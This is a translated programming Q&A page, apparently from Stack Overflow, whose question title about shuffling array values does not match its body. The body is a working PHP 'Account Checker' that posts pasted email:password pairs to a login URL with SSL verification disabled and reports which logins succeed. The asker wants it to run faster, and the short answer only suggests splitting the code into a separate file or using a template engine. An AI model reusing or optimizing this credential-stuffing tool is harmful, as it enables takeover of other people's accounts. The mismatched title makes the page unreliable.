-5

制作一个脚本,该脚本将采用 10 行值并将它们随机排列在数组中,然后将它们一一打印在脚本上这是我当前的 php 代码。我正在尝试修复我的 php 超时错误并加快速度

<?php
set_time_limit(0);
function checkmail($email, $password){
    $url = "example";

    $h = curl_init();
    curl_setopt($h, CURLOPT_URL, $url); 
    curl_setopt($h, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($h, CURLOPT_POST, true);
    curl_setopt($h, CURLOPT_POSTFIELDS,  "&loginID=".$email."&password=".$password."&seamlesswebtag=&confirm-signin.x=47&confirm-signin.y=18");
    curl_setopt($h, CURLOPT_HEADER, true);
    curl_setopt($h, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($h, CURLOPT_COOKIEJAR, 'cookies.txt');
    curl_setopt($h, CURLOPT_COOKIEFILE, 'cookies.txt');
    curl_setopt($h, CURLOPT_FOLLOWLOCATION, true);

    $result = curl_exec($h);
    return $result;

}

if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
    $mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
    foreach($mps as $mp){
        $mp = explode($_POST['delim'], $mp);
        $email = $mp[0];
        $password = $mp[1];

        echo $html = checkmail($email, $password);
        $doc = new DOMDocument();
        @$doc->loadHTML($html);
        $nodes = $doc->getElementsByTagName('title');
        $title = $nodes->item(0)->nodeValue;

        if($title == "example header"){
            echo "<br />FAILED - Email: $email - Password: $password";
        }else{
            echo "<br />SUCCESS - Email: $email - Password: $password";
            }
        }
    }
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
<head>
    <!-- no cache headers -->
    <meta http-equiv="Pragma" content="no-cache" />
    <metfa http-equiv="Expires" content="-1" />
    <meta http-equiv="Cache-Control" content="no-cache" />
    <!-- end no cache headers -->
    <title>Account Checker</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <style type="text/css">
        body{
            background-color: #333333;
            font-size: 10pt;
            font-family: Verdana;
        }
        body,td,th {
            color: #cccccc;
        }
        h1,h6{
            margin-bottom:10px;
            margin-top:0px;
        }
        select,textarea,.uneditable-input {
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        select,textarea:focus,.uneditable-input:focus {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }    
        input[type="text"]:hover{
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:grey;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;    
        }
        input[type="text"]{
            text-align: center;
            border-color: #B333E5;
            border:0px solid gray; 
            resize:none; 
            background-color:#666666;
            color:#ffffff; 
            outline:0; 
            border-radius:12px; 
        }
        input[type="submit"]:hover {
            -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 15px rgba(179, 51, 229, 0.9) !important;
            border:0px solid gray; 
            resize:none; 
            background-color:#F7FBFA;
            color:#000; 
            outline:2px; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 20px 1px gray;
        }
        input[type="submit"] {    
            -webkit-transition: width 0.6s ease;
            -moz-transition: width 0.6s ease;
            -o-transition: width 0.6s ease;
            border:0px solid gray; 
            resize:none; 
            background-color:#D7D1F8;
            color:#000; 
            outline:0; 
            padding:5px; 
            border-radius:30px; 
            -webkit-box-shadow:0px 0px 15px 1px #333333;
        }
    </style>    
</head>
<body>
    <h1 align="center">
            <b style='color:blue'>Account Checker</b>
    </h1>
    <form action="" method="post">
        <div align="center">
            <textarea name="mp" cols="100" rows="12">email@domain.com:password</textarea>
            <br />
            <b>
                Splitter: <input type="text" name="delim" value=":" style="width:32px;" />
                <input type="submit" value=" Check Now " name="submit" />
            </b>
        </div>
    </form>
    <br />
    <div align="right">
        <p style="font-size:0.7em;font:tahoma;">
        </p>
    </div>
</body>

任何帮助都将非常有价值并受到尊重。我只是想要这个,所以它可以更好地运行

4

1 回答 1

3

简单的解决方案:将标题 PHP 代码放在一个单独的文件中,例如logic.php. 然后在 HTML 代码之前添加这一行:

<?php require_once('logic.php'); ?>

好的解决方案:使用适当的模板引擎,例如Twig

于 2013-05-10T12:41:11.487 回答